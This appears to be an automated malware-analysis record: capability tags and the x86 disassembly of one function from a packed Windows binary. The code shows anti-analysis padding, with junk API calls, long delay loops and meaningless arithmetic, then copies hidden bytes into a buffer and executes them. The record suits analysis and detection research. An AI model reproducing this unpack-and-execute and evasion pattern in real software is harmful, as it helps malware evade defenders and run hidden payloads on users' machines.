Function at 0x405310
Capabilities:
Manipulate console buffer
Move file
Resolve function by parsing pe exports

Disassembly:
mov eax, dword fs:[0]
push 0xffffffffffffffff
push 0x448c41
push eax
mov dword fs:[0], esp
sub esp, 0x1c0
push ebx
push ebp
push esi
xor ebp, ebp
cmp dword [0x4b902c], 0x6a6
push edi
jne 0x405489
push ebp
push ebp
push ebp
push ebp
push ebp
call dword [sym.imp.KERNEL32.dll_FoldStringW]
push ebp
call dword [sym.imp.KERNEL32.dll_GetModuleHandleA]
push ebp
call dword [sym.imp.KERNEL32.dll_DeleteAtom]
mov dword [esp + 0xe0], 0xf
mov dword [esp + 0xdc], ebp
mov byte [esp + 0xcc], 0
push ebp
mov dword [esp + 0x1dc], ebp
call fcn.00409135
add esp, 4
push ebp
push 0x40369f
push 0x44eed8
call fcn.00408884
add esp, 0xc
call fcn.004081c8
push 1
push 0x44c9f0
lea ecx, [esp + 0xbc]
call fcn.00408902
lea ecx, [esp + 0xb4]
mov dword [esp + 0xb4], 0x401264
call fcn.0040897c
push ebp
call fcn.00408b2a
add esp, 4
push ebp
call fcn.00408afb
add esp, 4
push ebp
push ebp
call fcn.00408b11
push ebp
push ebp
call fcn.00408c7b
add esp, 0x10
call fcn.00408692
lea eax, [esp + 0xfc]
push eax
call fcn.00407200
mov dword [esp + 0xfc], 0x403814
mov dword [esp + 0x138], ebp
mov dword [esp + 0x13c], ebp
lea ecx, [esp + 0x144]
push ecx
mov byte [esp + 0x1dc], 2
call fcn.00406710
lea ecx, [esp + 0x198]
call fcn.004067c0
lea edx, [esp + 0x198]
push edx
mov dword [esp + 0x19c], 0x4037d0
call fcn.00407b58
add esp, 4
lea ecx, [esp + 0xfc]
mov byte [esp + 0x1d8], 0
call fcn.004061e0
mov dword [esp + 0x1d8], 0xffffffff
cmp dword [esp + 0xe0], 0x10
jb 0x405489
mov eax, dword [esp + 0xcc]
push eax
call fcn.00408f10
add esp, 4
mov edi, dword [sym.imp.USER32.dll_GetCaretBlinkTime]
xor esi, esi
cmp esi, 0xaba2
jge 0x40549b
call edi
inc esi
cmp esi, 0x139dc
jl 0x405491
mov eax, 0x11b1b
add dword [0x4b902c], eax
call fcn.00405230
call fcn.00405250
xor esi, esi
cmp dword [0x4b902c], ebp
jbe 0x405507
mov edi, dword [sym.imp.KERNEL32.dll_WritePrivateProfileStringA]
mov ebx, dword [sym.imp.KERNEL32.dll_DeleteVolumeMountPointW]
nop
mov ecx, dword [0x4b99cc]
mov dl, byte [ecx + esi + 0x11b1b]
mov eax, dword [0x4b5f34]
mov byte [eax + esi], dl
cmp dword [0x4b902c], 0xa8
jne 0x4054fe
push ebp
push ebp
push ebp
push ebp
call edi
push 0x403720
call ebx
inc esi
cmp esi, dword [0x4b902c]
jb 0x4054d0
mov esi, dword [sym.imp.KERNEL32.dll_SetDefaultCommConfigW]
mov edi, dword [sym.imp.KERNEL32.dll_GetConsoleProcessList]
mov ebp, dword [sym.imp.ADVAPI32.dll_MapGenericMask]
mov ebx, dword [sym.imp.KERNEL32.dll_InterlockedExchangeAdd]
xor eax, eax
mov dword [esp + 0x14], eax
mov ecx, dword [0x4b902c]
add ecx, eax
cmp ecx, 0xe
jne 0x4055f1
push 0x30
lea edx, [esp + 0xd0]
push 0
push edx
mov dword [esp + 0xd4], 0
call fcn.0040cc80
add esp, 0xc
push 0
lea eax, [esp + 0xcc]
push eax
push 0
call esi
push 0
lea ecx, [esp + 0xb4]
push ecx
call edi
push 0
push 0
call ebp
push 0
lea edx, [esp + 0xc8]
push edx
call ebx
push 0
push 0
push 0
push 0
call dword [sym.imp.KERNEL32.dll_VerSetConditionMask]
call dword [sym.imp.KERNEL32.dll_DebugBreak]
push 0
push 0
push 0
push 0
push 0
call dword [sym.imp.KERNEL32.dll_EnumResourceLanguagesA]
xor ecx, ecx
xor eax, eax
mov word [esp + 0x18], ax
mov word [esp + 0x1a], cx
mov edx, dword [esp + 0x18]
push edx
push ecx
call dword [sym.imp.KERNEL32.dll_SetConsoleCursorPosition]
push 0
push 0
push 0
call dword [sym.imp.KERNEL32.dll_GetCPInfoExW]
call dword [sym.imp.KERNEL32.dll_GetSystemDefaultLCID]
push 0
push 0
push 0
push 0
call dword [sym.imp.KERNEL32.dll_FindResourceExW]
lea eax, [esp + 0xc0]
push eax
call dword [sym.imp.KERNEL32.dll_InterlockedIncrement]
mov eax, dword [esp + 0x14]
inc eax
cmp eax, 0x4f95a3
mov dword [esp + 0x14], eax
jl 0x405525
mov edi, dword [sym.imp.GDI32.dll_SelectPalette]
mov esi, 0x4f4
lea esp, [esp]
push 0
push 0
push 0
call edi
sub esi, 1
jne 0x405610
mov edi, dword [sym.imp.KERNEL32.dll_SetLastError]
push 0
call edi
cmp esi, 0x3ba47e8
jge 0x405a35
mov dword [esp + 0x84], 0x70b645eb
mov dword [esp + 0x78], 0x3661cc40
mov dword [esp + 0x14], 0x6ff7c9f9
mov dword [esp + 0xa4], 0x5a9adbc2
mov dword [esp + 0x54], 0x2dde8930
mov dword [esp + 0x48], 0x46e8afd
mov dword [esp + 0xa0], 0x3ebcbdb4
mov dword [esp + 0x8c], 0x2f53b992
mov dword [esp + 0x70], 0x250e65eb
mov dword [esp + 0x3c], 0x1f50bc62
mov dword [esp + 0x94], 0xa81fd3d
mov dword [esp + 0x20], 0x18c11e1f
mov dword [esp + 0x40], 0x35448811
mov dword [esp + 0x4c], 0x7d492316
mov dword [esp + 0x58], 0x62bc0169
mov dword [esp + 0x24], 0x6ca35ee8
mov dword [esp + 0x68], 0x5dad3623
mov dword [esp + 0x98], 0x585746c9
mov dword [esp + 0x6c], 0x53e2862a
mov dword [esp + 0x74], 0xad0829
mov dword [esp + 0x38], 0x184281c7
mov dword [esp + 0x90], 0x1afc2ab8
mov dword [esp + 0xac], 0x227a995f
mov dword [esp + 0x1c], 0x7a91d04c
mov dword [esp + 0x30], 0x2851546
mov dword [esp + 0x64], 0x57648b
mov dword [esp + 0x60], 0x4f142558
mov dword [esp + 0xa8], 0x4875ce4a
mov dword [esp + 0x9c], 0x168eba5e
mov dword [esp + 0x34], 0x45cdbd6
mov dword [esp + 0x88], 0xb8c53e4
mov dword [esp + 0x5c], 0x4fead756
mov dword [esp + 0x80], 0x9478ef3
mov dword [esp + 0x28], 0x61d0e94f
mov dword [esp + 0x7c], 0x45cd4e0a
mov dword [esp + 0x44], 0x76cdde46
mov dword [esp + 0x50], 0x1241eac2
mov dword [esp + 0x2c], 0x2beb558d
add dword [esp + 0x84], 0x4f0f5a8b
add dword [esp + 0x84], 0x4cd697e9
mov eax, 0x723e2b07
mul dword [esp + 0x84]
mov eax, dword [esp + 0x84]
add dword [esp + 0x78], 0x1c42b23c
sub dword [esp + 0x78], 0x515ff287
sub dword [esp + 0x84], 0x362e7852
sub dword [esp + 0x14], 0x4ce02b0b
mov eax, 0x5f6884f
mul dword [esp + 0xa4]
mov eax, dword [esp + 0xa4]
sub dword [esp + 0x14], 0x51658803
add dword [esp + 0x78], 0x549fa28b
mov eax, 0x53113b5e
mul dword [esp + 0xa0]
mov eax, dword [esp + 0xa0]
sub dword [esp + 0x8c], 0x132d7188
mov eax, 0x54517ffd
mul dword [esp + 0xa0]
mov eax, dword [esp + 0xa0]
mov eax, 0x71772945
mul dword [esp + 0x20]
mov eax, dword [esp + 0x20]
add dword [esp + 0x48], 0x684d053f
sub dword [esp + 0x84], 0x507b7afe
sub dword [esp + 0x78], 0x259c1750
sub dword [esp + 0x14], 0x1c06c7d2
sub dword [esp + 0xa4], 0x26319a51
sub dword [esp + 0x4c], 0x84376fe
sub dword [esp + 0x94], 0x7ea9f19
mov eax, 0x46485b39
mul dword [esp + 0xa4]
mov eax, dword [esp + 0xa4]
add dword [esp + 0x3c], 0xd9a6bc
sub dword [esp + 0xa4], 0xef627ca
add dword [esp + 0xa0], 0x18c80292
sub dword [esp + 0x68], 0x545e11cc
mov eax, 0x22c23bb5
mul dword [esp + 0x94]
mov eax, dword [esp + 0x94]
sub dword [esp + 0xac], 0x138774d4
sub dword [esp + 0x48], 0xf890e8c
add dword [esp + 0x1c], 0x13688389
add dword [esp + 0x58], 0x1f757701
mov eax, 0x488aa0db
mul dword [esp + 0x14]
mov eax, dword [esp + 0x14]
add dword [esp + 0x20], 0x67741a1f
sub dword [esp + 0x20], 0x525d2cb4
add dword [esp + 0x68], 0x23689b6c
sub dword [esp + 0x58], 0x45e7eca7
add dword [esp + 0x60], 0x852bb14
add dword [esp + 0x5c], 0x42c9d179
sub dword [esp + 0x94], 0x40e5773b
add dword [esp + 0x4c], 0x7f55ceac
mov eax, 0x7019be1b
mul dword [esp + 0x78]
mov eax, dword [esp + 0x78]
add dword [esp + 0x34], 0x6184aa73
add dword [esp + 0x9c], 0x3587c715
sub dword [esp + 0x54], 0x69845f8f
mov eax, 0x7df243b9
mul dword [esp + 0x9c]
mov eax, dword [esp + 0x9c]
sub dword [esp + 0x7c], 0x531ed916
sub dword [esp + 0x94], 0x738bf70a
mov eax, 0x87a34cd
mul dword [esp + 0x58]
mov eax, dword [esp + 0x58]
mov eax, 0x60f4dcfe
mul dword [esp + 0x94]
mov eax, dword [esp + 0x94]
sub dword [esp + 0x44], 0x6cf35277
add dword [esp + 0x20], 0x1f03e442
add dword [esp + 0x28], 0x63e06026
sub dword [esp + 0x74], 0x2c2d60d3
add dword [esp + 0x94], 0x485c6ff4
mov eax, 0x2871c4e2
mul dword [esp + 0x8c]
mov eax, dword [esp + 0x8c]
sub dword [esp + 0xa0], 0x5aa2d185
mov eax, 0x4500779e
mul dword [esp + 0x14]
mov eax, dword [esp + 0x14]
mov eax, 0x78648048
mul dword [esp + 0x78]
mov eax, dword [esp + 0x78]
mov eax, 0x3281abbe
mul dword [esp + 0x14]
mov eax, dword [esp + 0x14]
sub dword [esp + 0x94], 0x6d31cbc0
mov eax, 0xa9348f0
mul dword [esp + 0x34]
mov eax, dword [esp + 0x34]
sub dword [esp + 0xa4], 0x61d32583
cmp esi, 0xbfcc49
jg 0x405a4a
inc esi
cmp esi, 0x19ce6be0
jl 0x405623
call fcn.004050f0
xor edx, edx
cmp edx, 0x26
jne 0x405a5b
call fcn.00405210
inc edx
cmp edx, 0x409495
jl 0x405a51
mov esi, dword [sym.imp.KERNEL32.dll_WaitNamedPipeA]
mov edi, 0x7b
nop
cmp dword [0x4b902c], 0x86
jne 0x405a82
push 0
push 0
call esi
sub edi, 1
jne 0x405a70
mov esi, dword [sym.imp.KERNEL32.dll_MoveFileExW]
mov edi, 0x180ef
cmp dword [0x4b902c], 0x1f
jne 0x405aa3
push 0
push 0
push 0
call esi
sub edi, 1
jne 0x405a92
push 0x40376c
call dword [sym.imp.KERNEL32.dll_LoadLibraryA]
mov eax, dword [0x4b5f34]
mov dword [0x4b9020], eax
call eax
mov ecx, dword [esp + 0x1d0]
pop edi
pop esi
pop ebp
mov dword fs:[0], ecx
pop ebx
add esp, 0x1cc
ret